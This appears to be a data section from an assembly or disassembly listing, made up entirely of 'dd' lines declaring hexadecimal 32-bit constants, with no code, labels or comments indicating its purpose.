dd 3B261D7Ch, 0BD2BFB71h, 0BE63BC00h, 0B273EB1Fh, 0F9532463h
dd 48482867h, 0E1E7E039h, 0E3C6329Eh, 0B4E4C609h, 9E700932h
dd 3D8C5B43h, 1C1D351Ch, 75408EB0h, 2585E9ABh, 264F0522h
dd 0BF461988h, 44309E61h, 5535F3B3h, 0AB15F56Eh, 0F3316A39h
dd 1CDCFE35h, 0C02F0A1Ch, 0E1222262h, 7E2F6B31h, 0C4DAAAA2h
dd 0CFD05C64h, 7461F2C7h, 6E3E4234h, 1D3F37D1h, 45F93AB6h
dd 944B938Fh, 2BDD4BCCh, 27ACD54Ch, 2B8B4D3Dh, 4B7E2D28h
dd 373214B9h, 613E6665h, 0E33AFE6Fh, 4BFEB8C3h, 1EE24A0Dh
dd 20FDA80Ah, 7B7B7B22h, 71E91A27h, 2601E8AAh, 0F033302Fh
dd 0BD343437h, 3A38B40Ah, 3F3D566Fh, 4D741955h, 21644C1Eh
dd 0F2DB7523h, 0D6C27ABh, 960A63Ah, 30317F1Eh, 6435331Eh
dd 0DBB9365Ch, 0AE6D3B7Ah, 30B3D7Fh, 3F0F22C9h, 0CE77772h
dd 18156861h, 286AA0A7h, 6043939Dh, 81776BBh, 48053645h
dd 0FC2A0A3Ah, 1955141Fh, 752A2F1Ch, 8A20C24h, 71E85BCh
dd 698A6029h, 9F2B7D7Fh, 2F10CD33h, 69166B38h, 0FAB13BB1h
dd 3782FC3Dh, 6E942C92h, 9E06A91Bh, 1422CB68h, 5A7F2CABh
dd 0AA59E53Ch, 0AD30BB39h, 7BC6423h, 648728DFh, 35E290C9h
dd 9FBC78B4h, 802FBDCCh, 21845E25h, 8CCF621h, 0D248D94Eh
dd 13342029h, 6A06B868h, 38B83F90h, 593E1B74h, 725E9E3Bh
dd 772D510Eh, 0A52E2321h, 49642756h, 404E4947h, 32BF2F87h
dd 761627Ch, 0CF373A33h, 0EC79CC57h, 1F1A1A0Ah, 0D4A132Fh
dd 394220C3h, 264C2002h, 787A38D9h, 6B0021CCh, 32467D7Ch
dd 1C374107h, 4F19384Ch, 0CB25973Dh, 1EE90F1Bh, 2121D414h
dd 0DD6124D7h, 0BE29597Ah, 2E5FDFC2h, 0D9D8A4F3h, 46D63447h
dd 0E8818037h, 8DA62037h, 1D1317E0h, 25655EA1h, 1B943272h
dd 0E935CF77h, 25E8A804h, 6116ECFEh, 5534C363h, 6F793637h
dd 6FF2B03Eh, 0CC1A33D6h, 0A9DF2D02h, 62AA2667h, 63792EF9h
dd 62204562h, 36FF2A27h, 0BE213841h, 36BF0614h, 0B64C3FA9h
dd 0DBC0BCC3h, 1758DA18h, 40022520h, 6E22E7F8h, 3210623h
dd 0AC4F9C27h, 0DB646337h, 114E75EBh, 8B862D3Dh, 803B1A3Dh
dd 0AE1D0337h, 8D613C2Dh, 26DA9D23h, 7FE91B24h, 4E7A2E7Dh
dd 99C2199Dh, 0B69F9F55h, 39391B8Eh, 0BF77AC85h, 396093B1h
dd 980BBE36h, 24845643h, 47C0830Eh, 0F9E82CAh, 14F1275Ch
dd 16D2EBB8h, 0C70B374Fh, 49E7BFC5h, 0FA1F9F77h, 0A4109E65h
dd 4C2C56E1h, 2906A207h, 8CA6EA90h, 0E151C62Dh, 1B937A51h
dd 6734734Ch, 3F7F3B18h, 3DF5F2Bh, 9F6E1C58h, 0E5234B56h
dd 87B220A0h, 76A22B7Dh, 0E92F2D2Ch, 322A1574h, 0BC7B354Ah
dd 4FC102C5h, 633E057Bh, 5F69043Fh, 2B4CF1F7h, 1E510222h
dd 793975A7h, 79252D41h, 3A32F5C7h, 1869BC8Ah, 3DB33937h
dd 36493607h, 69113303h, 290D1F1Ah, 0ADDB2BA2h, 2628A725h
dd 222C242Ah, 313FD02Eh, 353B333Dh, 39373739h, 3D333B35h
dd 0A6963F31h, 4B6ED1D9h, 0C8A0E696h, 392F665h, 0AD2B1458h
dd 89CAE25h, 0F4002EE1h, 3C363674h, 301F7EB0h, 52331BADh
dd 4E0E1D6Ch, 713A2160h, 25D52564h, 2B268638h, 2D98B02Ch
dd 0BE3233FCh, 19DF2979h, 0C4C6B94Fh, 0D63A70B1h, 1E251C3Dh
dd 0CBCD6D94h, 0D9D95E53h, 2AC99027h, 2F2D682Ah, 0FEE700C6h
dd 9236CBCCh, 77B23832h, 0C0D4CC6Bh, 3D981B49h, 2A965F1Ch
dd 900632Ch, 951DAC2Eh, 16347208h, 37F85AEDh, 2144E5CDh
dd 3CB80E22h, 2D563B8Eh, 0A8173F8Eh, 22FF121Dh, 34212070h
dd 54ACF0DAh, 87F2AF9h, 0D0EEA63Dh, 10263239h, 38B7F136h
dd 0CDF93935h, 453FBC34h, 211A9443h, 0AE7200EDh, 4F3A0168h
dd 954B283Ch, 0A4F9D27Dh, 76061584h, 171209C7h, 81D26B8Bh
dd 0B426568Eh, 1A043F1Bh, 3E04304Ch, 8143C4Bh, 0FDD67837h
dd 6293C7Dh, 63790245h, 34F0BADBh, 3E390343h, 3C7DAD2Bh
dd 3D4C492Bh, 0E14B77A5h, 5A099305h, 791E80C6h, 1D22AB2Dh
dd 91AF6FB5h, 284462Ch, 0F4B3AD56h, 51267A5Ah, 4C98414Eh
dd 0C1A1E21h, 2434DAAAh, 58473624h, 3E5BE26Bh, 1C20D1A8h
dd 310300B5h, 19403295h, 7474B73Ch, 9A51D623h, 9CDB751Ch
dd 0D021A1C1h, 0A2E07A80h, 3B2F0923h, 0EBAF7072h, 37F023F1h
dd 8373334h, 6D3A3522h, 0EFD6CCB7h, 0E1E3620Bh, 237CE0E9h
dd 70052D57h, 2BEFD5CFh, 2AE9182Bh, 30649088h, 0BC3F1A39h
dd 0FD2F79B6h, 0BA3D23B8h, 122B6EFFh, 0C13A4A1Dh, 0EDC1CB29h
dd 0ADD7DA66h, 9C295EEAh, 0BA10EC27h, 3BBF3774h, 728C2C34h
dd 2927389Bh, 0FEC2C5D6h, 7ABEC811h, 5526D2E2h, 0A131AF23h
dd 0A427CE6Fh, 2270B939h, 3323382Eh, 34267665h, 183E2A68h
dd 17C0F2FAh, 1B2EED09h, 9FAF26F5h, 2144D500h, 0D82675D9h
dd 2F2F1D87h, 87288E33h, 66973DD6h, 233C0931h, 1B3AA9B1h
dd 4F1F0CFFh, 0A92420D8h, 742D621Bh, 39C934F6h, 0FDD22C1Bh
dd 47F1B52Fh, 0CA63BF0Fh, 1E8570BCh, 0A0331CCFh, 19385F3Fh
dd 0B601F74Eh, 0D3DB23DCh, 69E83CFEh, 2D202FE8h, 2068282Fh
dd 3DD8B002h, 1D7C3FBBh, 6D5B3B2Eh, 1C3F73B3h, 0AD15F605h
dd 0E4A7DDDFh, 28655221h, 2C412E25h, 30BE7F2Ch, 11DB2E36h
dd 28BC9735h, 3F3B1D39h, 5BD2BA32h, 47DD1D08h, 0A0727C7Bh
dd 142671C8h, 0A6D6A2E8h, 2FA56D64h, 8398C2E7h, 65619E70h
dd 516B6838h, 6E3F5714h, 4D481C4Ah, 0E6A2F6E0h, 0E605A177h
dd 5A1A28E4h, 2A2DBA4Bh, 41146BEFh, 1676146Eh, 295F9AFh
dd 6CA04F7h, 90255B3Fh, 7819E327h, 1F9A2318h, 12641C38h
dd 0A1041046h, 0A3319815h, 49FA731Eh, 5A1370Ah, 1D007FDh
dd 55990216h, 1DFE68DDh, 65991D0Fh, 98243260h, 2C532049h
dd 9F1E56h, 7D022131h, 4D31BF04h, 3127852Ah, 0E4BA2E1Fh
dd 17951368h, 0E3066DABh, 0E7157A28h, 7B2718A1h, 613F1EF2h
dd 4FB96664h, 43C952B4h, 0CB13D23h, 0F82B6B3Ch, 5E191C1Ch
dd 0DD712694h, 74E6FC36h, 1DA02433h, 31AEA0E2h, 0F624CF79h
dd 1F87B4B2h, 0D210088Fh, 7615802Eh, 0A98C3309h, 0F91FDB39h
dd 0D94B33E3h, 2D2A2719h
dd 50CB80Ah, 19323F84h, 0B913F36Eh, 899063A6h, 0ADF02969h
dd 0BD2BD76Dh, 82E0A4Fh, 7C72820Ch, 788676E7h, 0E80CDA89h
dd 0F2E3AC1Ch, 0D590D67Eh, 23179B35h, 0B93BDA97h, 1E1A9610h
dd 751B3CCCh, 0C02705F8h, 2C82000h, 0DB5E092Dh, 3F2B0845h
dd 2B371180h, 321735B4h, 3BDBE21Bh, 0DE10381Ch, 2738BC1Bh
dd 28C120FEh, 26C56045h, 39612F02h, 290C600Eh, 323E6557h
dd 0F9FC26F9h, 3212EA25h, 0EEAD88D3h, 0BC0932CEh, 0A101EF16h
dd 0F8E23F0h, 0EB5B2C75h, 202F142Ah, 7130EE48h, 0B8331776h
dd 1A096378h, 0D53FE322h, 0DB107B64h, 0CD30A31h, 0AAF62A8Eh
dd 498DE2Ch, 9079109h, 325E629Dh, 37331B51h, 20C75442h
dd 245C3B18h, 0DB4B4A58h, 581F3D09h, 32237565h, 73726D27h
dd 51B0678h, 25231DACh, 5D5C5E73h, 47376584h, 701A036Dh
dd 124E5859h, 0CE715D3Fh, 0B32B2D35h, 26640942h, 5E474D40h
dd 0AA700C11h, 0BB3245EFh, 0F353178h, 314C3D7Ch, 2C49FCBFh
dd 17BD1B38h, 0AA245E1Eh, 69A207AEh, 8F6A28A6h, 20A54F71h
dd 0F5CCECEEh, 0F6303366h, 26D2E0EDh, 223C243Ah, 1C04F03Eh
dd 200C1E02h, 0A238A241h, 0A9C6A645h, 0C479C938h, 0D066DFF0h
dd 0B00E623Ch, 7898DE17h, 0FCBBBF3Ah, 0E40C3C48h, 1D985174h
dd 21A1BA22h, 27279A21h, 6380412Bh, 0EAAA2FEAh, 31F23332h
dd 1D34F370h, 3838FC55h, 0FB7E3FFCh, 9CF55819h, 6A23E349h
dd 3C50DBA6h, 0C22C0E26h, 3CD35F83h, 0B9FD91D0h, 0D2EB53Eh
dd 36B346FFh, 7C751D79h, 0E069D81Eh, 68E41DFDh, 0DA24E1ABh
dd 0B281F03h, 2B2D1B55h, 31914B2Eh, 5DCB5936h, 0F994DC32h
dd 0B4586B37h, 182B3F1Bh, 0BF29Ch, 8C340331h, 0AB5F2E52h
dd 1C242927h, 0F4C7EDB9h, 3D331731h, 81F1DE21h, 15BB6739h
dd 983D3E1Dh, 95141D1Eh, 5F31A13Ch, 0CF2407A4h, 89ECA9FFh
dd 1B26AD7Ch, 14B165D8h, 32813580h, 3B6B2239h, 26D60D3Dh
dd 0E11DE3C9h, 212131A6h, 5272E410h, 2B5CA37Bh, 5ADB016Bh
dd 226FBD7Ah, 367074F4h, 9D16B32h, 3CB6227Bh, 0E2745AC7h
dd 67AD2D6Bh, 0CD744B36h, 382C6F07h, 0F46C0F6Dh, 6A6D6F70h
dd 397AB8F1h, 29690FB6h, 10D7D369h, 0DB900E7Ch, 349F2194h
dd 182724A3h, 418D2BA2h, 0AED427ADh, 2A87E120h, 3437B228h
dd 7DBEE1CAh, 246EB11Dh, 0E4C5BD3Dh, 19743F69h, 4923614Ah
dd 1733DA26h, 0B4201C8h, 2D2E2AFCh, 261E10B9h, 0E72331CBh
dd 0D4D30BB8h, 7F3C3D2Dh, 11084123h, 0CA76A79Ah, 2BA50511h
dd 0CA0D84ACh, 63A0CF6Ah, 1ED94EFFh, 42B377F3h, 5D989AF7h
dd 1E33BC0Ah, 1E9C181Fh, 4A307016h, 644B2805h, 0AD2E474Dh
dd 612A4A6Eh, 5110B50Ah, 0B315EB49h, 56B8E4B3h, 5C63FD39h
dd 981E5E52h, 531F5CA7h, 1404751h, 0E2080600h, 5F01284Ah
dd 3A22108Ch, 34FB3245h, 0FA3D3619h, 393D3A79h, 5A4C32B9h
dd 766A7E7Ch, 7FE24456h, 320E24C4h, 0B903B068h, 1EDD030Eh
dd 9565018h, 17373650h, 38FE1F39h, 4D363CECh, 0D18E796Fh
dd 6E2DC937h, 0CE7428C2h, 26C51145h, 0CF7BC404h, 7E19F223h
dd 75341534h, 6A1A181Fh, 91B8D469h, 7634D552h, 9E2109Eh
dd 7D37239Fh, 4B83235Ah, 3F04EC23h, 0F1223D2Eh, 67543F23h
dd 6E982F34h, 573F3B8Ah, 0B62E6E21h, 0E72AA328h, 0F616EF14h
dd 0DC12F810h, 2C1ED01Ch, 62A182Ch, 220043Dh, 0E16002Fh
dd 0A0B0C11h, 2DAB08B2h, 281D2BFAh, 1B3816B9h, 26261D46h
dd 0FF139811h, 3917D015h, 0CA08C30Ah, 6D0D670Eh, 47014F03h
dd 283B307h, 1E5B2229h, 561F7D21h, 8D1BAF1Dh, 14E31627h
dd 10C812F0h, 1A0E302Ah, 630A0C0Ch, 0EA34A808h, 36DD0C7Dh
dd 2DEE493Fh, 0BE202E2Dh, 74161013h, 291AD414h, 1EAD1816h
dd 4131CCDh, 0C602B012h, 34087701h, 3E7C02F9h, 0F5B89E6Eh
dd 311C1EE1h, 34497550h, 3607A477h, 1F0AAFC1h, 58285B2Fh
dd 0DF393349h, 6F610625h, 3D0B5AD1h, 731E350Dh, 14246DFEh
dd 0A312C977h, 0B4170025h, 362A8223h, 0FF7E2BCDh, 30610636h
dd 22343F39h, 30124DD8h, 369E3E56h, 10177C15h, 82332275h
dd 6E017029h, 9E7B2A4Dh, 244F5DC3h, 0D33B5403h, 3CB5B96Ch
dd 0BCB46857h, 349D37F6h, 0E3411BBh, 2B06159Eh, 2F27F292h
dd 693D4D32h, 2F462440h, 38B02E44h, 7510B37Eh, 4D93355Ch
dd 0DC3F7B5Ch, 0F81AA3BDh, 20675B9Ch, 61707720h, 2D6274A7h
dd 49792BF1h, 0AB7B6D4Ah, 32332133h, 0DA3577FEh, 5C5E71AFh
dd 0FB3BA41Bh, 313B7A3Ch, 0CF2091E1h, 0E6B12125h, 0C929C945h
dd 3D2F099Eh, 84344265h, 0D943E42Ah, 14111DA0h, 332D533Bh
dd 0CF1518DBh, 0A2604A0Fh, 77752549h, 0EB31C075h, 7C393A43h
dd 6333DD3Ch, 653D36C3h, 0D70AB062h, 16367D6Dh, 934CDE04h
dd 27A00F0Ch, 29A44C56h, 21A34102h, 0D7B2727h, 35CEAC22h
dd 30503354h, 2AD03637h, 560A3A38h, 175B3E3Bh, 281E0C1Eh
dd 2FA12644h, 0A7BF98D5h, 332B2222h, 0CC2F2127h, 3FCCCF3Ah
dd 683CC5E2h, 383C5B2Eh, 4B4C35EDh, 0A909651Bh, 5522C343h
dd 27C77633h, 0E96C3E5Dh, 385BC02Ch, 9932E309h, 0DB369783h
dd 99963999h, 36AF213Ch, 1EBFBDB1h, 0B4218163h, 87692481h
dd 88A28227h, 2B5CE82Bh, 0C63192AFh, 439F3492h, 3BE53895h
dd 3E9F5639h, 0B71CBA93h, 2D20BD41h, 87702E93h, 29894B26h
dd 24BE6280h, 9D84EB2h, 2D953202h, 0FE693A1Fh, 5918AF2Ch
dd 0DE4938FCh, 0E194BE1Ah, 0F024E731h, 0C02D21E9h, 242CE3ABh
dd 3186C626h, 3C26CD21h, 0A975BDEEh, 3DEB3929h, 171BBAA8h
dd 154E15ABh, 0A1A9E7C8h, 2FAF452Ch, 2A1A469Ah, 2F5E98DCh
dd 414E404Ch, 434A4648h, 474F4538h, 4349414Ah, 67611C63h
dd 635D5A63h, 5A25665Fh, 566D5464h, 2E6B506Eh, 7A4D7753h
dd 7C497D4Fh, 46724437h, 42704077h, 52601B71h, 705C4F62h
dd 5924715Eh, 557C5B75h, 2C1D577Fh, 3012F1Ch, 7C5019Dh
dd 1A380428h, 4A0F7709h, 1C2F7B0Dh, 14DD2A8Fh, 11B91728h
dd 0ED12DF25h, 791C231Fh, 78A2E1Ah, 3DA05F8h, 11370E3Ch
dd 55037301h, 9907B705h, 7F7A1CB5h, 901BBE19h, 0B063D84h
dd 58E96013h, 90206E84h, 333D3B1Fh, 3B34393Bh, 90EB32C8h
dd 0E484126Bh, 1219A639h, 0C22D2448h, 8D5A193Eh, 7AB6835Ah
dd 7E865C20h, 628B1124h, 476B6B38h, 31603F3Ch, 3E363514h
dd 3940906Ch, 2B229E16h, 0AE72EEA9h, 14270F7h, 796C7A20h
dd 3E2AFC72h, 32CA76B6h, 2A2A19E6h, 0B6743F3Ah, 9CD114F6h
dd 4252CDA5h, 44C2D531h, 289F264Dh, 2AC1EB2Ah, 472FFE16h
dd 1077B84Eh, 0DCF7B226h, 1FDC234Dh, 227FEAD5h, 3C4C3E8Ah
dd 9D0BE17Dh, 76B2464h, 276A3C79h, 3F1D6CC2h, 5B603553h
dd 7544FBE4h, 5939F89Eh, 0FEEFD531h, 44101C18h, 402C223Bh
dd 2B212382h, 84242FA6h, 2829AD28h, 3131EB22h, 232C5C63h
dd 0DD6634D5h, 32D5B037h, 0BD8ED9BEh, 49721C1Eh, 85254189h
dd 10C63ADh, 0F824D47Ah, 9538EFABh, 1170A73Dh, 0B9D0241Eh
dd 3DB6453Ah, 149F622Eh, 20316ADDh, 4C721A3Ch, 294CA489h
dd 0C4426448h, 2B2F973Fh, 34A7A431h, 0BEBD6636h, 3F3B3AAAh
dd 0DE576E6Fh, 1F0EFC80h, 32BCC921h, 0ADB4AB21h, 32133B27h
dd 30C6EC29h, 27582135h, 733965B5h, 0D3683F52h, 0B53B270Eh
dd 50180C1Fh, 0E4A0250Fh, 9C2036E3h, 0C32C3C71h, 764C1EBBh
dd 2240353Dh, 1235E536h
dd 3E67670Fh, 0E9D20012h, 12131B30h, 663B101Eh, 6DADEA11h
dd 2B60AE32h, 2C564B3Ah, 0F6576A0Dh, 0BC303372h, 0FED7FA9Dh
dd 0C33C337Ah, 0DB8385E2h, 7869125Dh, 6B331075h, 7D2E2360h
dd 2D3B3F78h, 0BB334FCCh, 0F5B8227Fh, 0C52336B8h, 0D4FA3E39h
dd 173FB33Eh, 4E029EE5h, 6F6A2172h, 36ECEFCCh, 0F6E6128h
dd 7B762D74h, 313F6060h, 13368210h, 0D37E2938h, 3BB7F042h
dd 1CD17E75h, 7BC9740Fh, 26603423h, 4829005Fh, 2C7D7E0Fh
dd 3360B967h, 0E1178B3h, 380D1437h, 0D6697868h, 1EC1849h
dd 352A1BBAh, 416D1F23h, 2C70EB9Eh, 34E02859h, 7938242Eh
dd 3B876679h, 6B7B7C7Eh, 393CA9AFh, 89583FAEh, 1652521Dh
dd 26502320h, 0C325CD21h, 2CD2C22Ch, 6BD0D1D2h, 8D55FB00h
dd 0B8C8C935h, 7FC4344Ah, 0FD8026DFh, 1CDF1CDCh, 9723E3FEh
dd 0E5F0CC60h, 0E5C39129h, 6B922CEEh, 3AF0F7D9h, 0F788DCE8h
dd 0E3E08139h, 0F2482EFEh, 0D425CE08h, 0E1301Dh, 0BCCC1A2Bh
dd 0EBA853A4h, 2E1D2D74h, 0B249D92Dh, 703676DDh, 3979112Ch
dd 9C3D41EBh, 1E1CDA6Bh, 21E234F6h, 2524E24Bh, 9105CF22h
dd 0D3D6352Ah, 4F7EA2D1h, 117073F4h, 28D03226h, 3DB7FB3Ah
dd 97131B72h, 0A97B40DBh, 20232F21h, 0EB37E2A6h, 2C2C2FB9h
dd 5A2F02E1h, 0A35C5ACEh, 39377535h, 0DC6D9B5Dh, 122FB715h
dd 1BD89E1Ch, 0D257D21Bh, 7C78397Bh, 13150013h, 0C7C60AACh
dd 17F22CFFh, 2834A66Dh, 7638283Ah, 0C032C244h, 7124BF42h
dd 64DAB3Ah, 2E642533h, 11F0A337h, 0EB0C58DEh, 822D160Eh
dd 0DDDFF00h, 797D05B7h, 3F9D161Bh, 2792143Dh, 21AB1E3Eh
dd 78AC3B67h, 0D6D0A430h, 3871A32Ah, 0CE60285Ah, 0E9BCB327h
dd 97813634h, 75B8FBB6h, 9E037AF9h, 0A00A333Fh, 4A35703h
dd 852AF63h, 6A0A9FA4h, 0D8E1A50Dh, 36532B67h, 0E88F1678h
dd 7AA5397Bh, 1BBAB33Eh, 1E9FD305h, 67232128h, 0C98DE435h
dd 8528382Ch, 3C162F3Dh, 312D5732h, 0DE2A7824h, 3F1DCBD8h
dd 0AE6BBBD5h, 1C8E7419h, 4C277A21h, 8CA82C42h, 493EC97Bh
dd 8F592C89h, 30C0682Fh, 0DE659429h, 392C722Ch, 7F0A297Bh
dd 7792572Ah, 62A50A5Fh, 306CDBF0h, 3C67767Ch, 0EF3F412Dh
dd 69717B3Ah, 0FDDC6F60h, 61786336h, 0FD382FFEh, 0DC40DB2Ah
dd 0D420DEA4h, 30E73720h, 2F33EF5Ah, 2F017BF8h, 716F2747h
dd 77B3723Eh, 77237F30h, 18772E78h, 0A63BD655h, 0DF6C0EF7h
dd 2331C021h, 5B2145AEh, 18802C68h, 2F3CA62Eh, 0BEF03A19h
dd 7D0AC93Ah, 4606DAA8h, 53FA0FBDh, 362908FDh, 0C8B6BAF7h
dd 32C42C37h, 24A35799h, 0CA7A38CAh, 7DD053Bh, 790218h
dd 0D130E58h, 6C40BF4h, 24EC22B9h, 1BF42505h, 180419D0h
dd 14DB1A56h, 1233158Dh, 0E8B10B7h, 36340CCDh, 38383686h
dd 6F3F3B56h, 892BB60Eh, 422E1D2Dh, 0CF12AA10h, 6E150214h
dd 9819B31Bh, 3C2C3D1Eh, 0D333937Dh, 3AD6937Fh, 217C780Bh
dd 833ADE96h, 0C3A3BDEh, 4D2280F9h, 8E268484h, 2B8BBCB7h
dd 907BCF48h, 446845B2h, 22A23595h, 1B38D86Fh, 7C653BBDh
dd 0C8391D5Ah, 0F323E18Eh, 9A2445ABh, 3DAB0D09h, 7E24AC73h
dd 627676A2h, 2D803D37h, 329C6076h, 0DD359806h, 0B76182Eh
dd 1233F9Fh, 0CD753048h, 320C592h, 2F24CF0Ah, 70E027CEh
dd 0A141655Dh, 31DC6566h, 0CB34D254h, 5F0A9601h, 3B7D16FDh
dd 49CB721Dh, 2D242ECFh, 708E22C9h, 0D1FDC62Ch, 36176633h
dd 9C35D551h, 3F3BBA1Dh, 181F9F6Fh, 0A8F61F68h, 65A2703h
dd 27B26527h, 0AFEC792Bh, 0EB2D4C4Dh, 3053A8D8h, 56B2F2FAh
dd 501DB04h, 0B53C3CFFh, 0A1F7DCD4h, 0A1212F05h, 0CF49FCE2h
dd 47C1881Dh, 2D012CD9h, 381930DCh, 36C769DBh, 3139CC42h
dd 0CC70B6D3h, 1DE8A53Fh, 0D31DF712h, 85236522h, 2428D631h
dd 2DDE06C2h, 31C47E7Eh, 0C729DB3Ch, 39CCAE36h, 30D42F35h
dd 0E8F93FCCh, 0DDF70E1Dh, 24D2CB33h, 0A32A230Eh, 2CD5A9D9h
dd 3B285BD2h, 0F0B06CF1h, 7B362617h, 3CFB0925h, 4E6E3A61h
dd 0DE78435Dh, 42602341h, 3326E534h, 0AABCA96Bh, 370A7920h
dd 3531B156h, 0B9DE6734h, 0B8C5C722h, 3F3A37F8h, 6A1D1418h
dd 72314A1Bh, 0AFA5A4F6h, 1E0D7CAAh, 1E7F2E41h, 0E4D9FEA4h
dd 3C302F33h, 46391C73h, 0B56D3D51h, 1D98DCF1h, 21219F3Ah
dd 0EC58CB24h, 0A2D7D826h, 9A8EDE2h, 2CB03E5Ah, 0B497DB33h
dd 312DC81Eh, 3C3EE03Ah, 9F1FFBBDh, 0AD1E3EE5h, 2523066Dh
dd 1E4ACE25h, 68A0D5D7h, 0BD3B2E09h, 5E63147Fh, 1237DE7Ch
dd 6CC4C404h, 19D7F5B6h, 0F7021C3Eh, 0DCDC1AC1h, 37E225A7h
dd 185FE9ADh, 0C72AE2A7h, 0B906319Bh, 3436A6BAh, 0A9ACB368h
dd 93AE3D3Ch, 1F398C11h, 7302B01Fh, 33B53FA7h, 0C27DC803h
dd 0ADFFAAD3h, 6030E368h, 86FBA3DBh, 2E7A3BB5h, 35857BCAh
dd 19DB193Fh, 21182DBFh, 65F1DC26h, 2A2A0203h, 0EB172F4Ah
dd 1428245Bh, 0C9653926h, 270890DEh, 3D3F02C1h, 1C141041h
dd 5E2C1E12h, 6610BB12h, 0A8134A11h, 0B71FA31Dh, 8D1B9B19h
dd 0CA07DC05h, 74027001h, 9E0E4C0Ch, 0AD0A9608h, 0D02BA029h
dd 0C814C015h, 60113B12h, 2C1D671Fh, 7E162314h, 790B7108h
dd 380F470Dh, 4A002F02h, 0FB04B606h, 661D4A21h, 26210FBDh
dd 755684A2h, 4F5A2C27h, 330AFD48h, 0C25230DEh, 0A6243474h
dd 69545937h, 6C2D4C2Ah, 1D7E784Fh, 0AD6D6C7Fh, 4D064D43h
dd 4D4D2497h, 2CA84B79h, 353036FEh, 5C585C62h, 2B417555h
dd 6D393B09h, 0BEABEF52h, 0AF1959h, 7C2F1AC9h, 2A7F2265h
dd 0A12A2964h, 62070A79h, 368878D9h, 4362E09h, 3D3895h
dd 0E7D7561Ch, 1B2216BFh, 0F1221D29h, 6A4C8500h, 2C55C178h
dd 13295110h, 0F3DA1378h, 0A2FE2B38h, 6A762731h, 9D91233Dh
dd 1F4CA81Bh, 882182BBh, 0BF24753Fh, 8B4D2885h, 2E8FA22Bh
dd 3030B465h, 0E63596B0h, 423998CBh, 0D63D9E6Eh, 0BF711B9Eh
dd 2181A71Eh, 25837640h, 65288071h, 8A6D2B8Dh, 9665192Eh
dd 35931832h, 2C389016h, 4C0D3B9Ah, 5A542EABh, 701C0F6Ch
dd 0A760F264h, 5D6C62E2h, 1CA0AC82h, 2CAA4E23h, 450EB966h
dd 0EFC8223Eh, 0FCD35A89h, 0CCC06D31h, 563A1C47h, 53908539h
dd 0D79975FFh, 8A29347Fh, 3F327D40h, 33363030h, 11173436h
dd 403B393Bh, 35490936h, 10141524h, 28A85C68h, 62C9A554h
dd 9DA90B24h, 0AA16869h, 0DABEC0C7h, 16A9565Bh, 821DB430h
dd 0B34D3C8Bh, 1D1FBB67h, 271F718h, 2404AB23h, 9A7F751h
dd 10BA1B2Bh, 95512E1Dh, 71363206h, 753C1EDEh, 8FFBBF68h
dd 7ED92D22h, 0A0BD33D7h, 0C76890C9h, 1A05D4D7h, 0ED221803h
dd 3155AAB0h, 4E3B9359h, 39766379h, 2C6E4B3Ch, 2934137Fh
dd 4D37DB2Ch, 320DA017h, 25E70925h, 4A8360AFh, 6D83EF2Dh
dd 9430DC91h, 377117E1h, 4D0F590Dh, 0EF08EE09h, 221E261Bh
dd 1EB21C6Bh, 0B5182430h, 0C9172B1Ah, 112DEF15h, 3271312Fh
dd 36354831h, 5A093534h, 0C40D900Bh, 2C562B3Fh, 10CA2E86h
dd 5B162316h, 271AE114h, 1E2C7D19h, 2C01C88h, 3AB40767h
dd 36B88606h, 7D245133h, 131FFE32h, 6E1513DDh, 0A4E3B3E3h
dd 0C0752F1Ah, 0ED10409Ch, 25EF5238h, 0F40EB825h, 0B9220A1Bh
dd 12FA6919h, 11777EC1h, 9D4B96F4h, 29A2012Ah, 212CA438h
dd 7A252968h, 45260D2Eh, 6532F333h, 21963545h, 3B4B678Eh
dd 3A58316Ch, 7E1C2C1Fh
dd 0B28B240Ah, 32BE2032h, 29BD8E23h, 842FB49Ah, 0D233A587h
dd 0A2DE36A2h, 38ADCE35h, 9A73DCFh, 144AEB33h, 0A4231E5Eh
dd 354522F7h, 28280F25h, 75B20F6Eh, 3291772Fh, 3715EB94h
dd 18B0A5D7h, 9CD02738h, 3DF4983Eh, 1E9D4A1Fh, 85A84583h
dd 2A261D2Eh, 2C898F9Ah, 293B6CA3h, 0C563F05Dh, 67933414h
dd 0D63B9B68h, 0BE3D1F4Bh, 1FB65E5Dh, 28232721h, 9129A79Fh
dd 3A0E37EAh, 6FA18C11h, 2851D960h, 21763CF5h, 0E738E94Eh
dd 971A7119h, 74351CA3h, 0ECAA711Eh, 0A253FCBh, 0AA41D7D9h
dd 2E2D6844h, 0F5F9BB2Eh, 31551077h, 0D23A3837h, 0C1C3147Ch
dd 12DC1BBAh, 0EEA3DC8Ah, 6924AEDDh, 55A10302h, 61A1770Eh
dd 2F302B0Ah, 3534CC16h, 7F8CDF3Eh, 1970A83Ah, 78936122h
dd 761F1394h, 21E006E5h, 0A23469A1h, 0BE2A2A24h, 0BD18B02Dh
dd 1463AC31h, 3810B68Dh, 0D4A4383Bh, 19A33EACh, 9C481C1Ch
dd 0CBAA25E1h, 46266DDFh, 5C7A0D9Ch, 29CD2E7Dh, 22253D70h
dd 73354506h, 1F5EB520h, 0D73C0D28h, 781C0DD5h, 73320C10h
dd 0CE2A47A4h, 423BF8AAh, 0AF7C108Fh, 4615A42Eh, 467BCD0h
dd 0EA68943Fh, 51D53A3Dh, 2D4C1ACFh, 0F163CE1Dh, 222D5027h
dd 292B4DCEh, 2C2CEE36h, 37336B72h, 1094A2DAh, 0BF7A5074h
dd 3C56311Ah, 46FD378Dh, 0BC973A25h, 0ACB2BC3h, 0DC4F2184h
dd 0AE264BA2h, 40EF9277h, 35F38C3Eh, 0D0576E3Fh, 34A93A1Ah
dd 725E3737h, 38F62104h, 21831C20h, 24262D64h, 629A8C8h
dd 0C12D2D24h, 331C32B1h, 0B677C937h, 383A163Bh, 3CBE9836h
dd 1D1D142Bh, 1322A107h, 7032723h, 2A1B2BA6h, 2DAC1828h
dd 31B5301Ch, 236B571h, 0BB693B37h, 3E082C38h, 1E9D453Ch
dd 63231F28h, 0E169A24Eh, 0A87D59CFh, 0C478EF13h, 5F31EB58h
dd 0F15232F6h, 0FB296937h, 6BD5E73Bh, 0CA33EFEh, 315E133Ch
dd 63396C2Fh, 0C0772239h, 30698120h, 0F40C20ECh, 35F72921h
dd 7136F626h, 96DD32BBh, 1A3F36B8h, 45E61BD8h, 2B20E274h
dd 33E4A045h, 0EB06C120h, 3BE52A12h, 9CDA3828h, 0E4B33D76h
dd 3DD2332Ch, 3AD33F3Dh, 0F61608C7h, 0AB0084C1h, 0CE2930C7h
dd 352B2A1Ah, 2C291D1Ah, 50FCD822h, 0DE4D9647h, 39BBFB99h
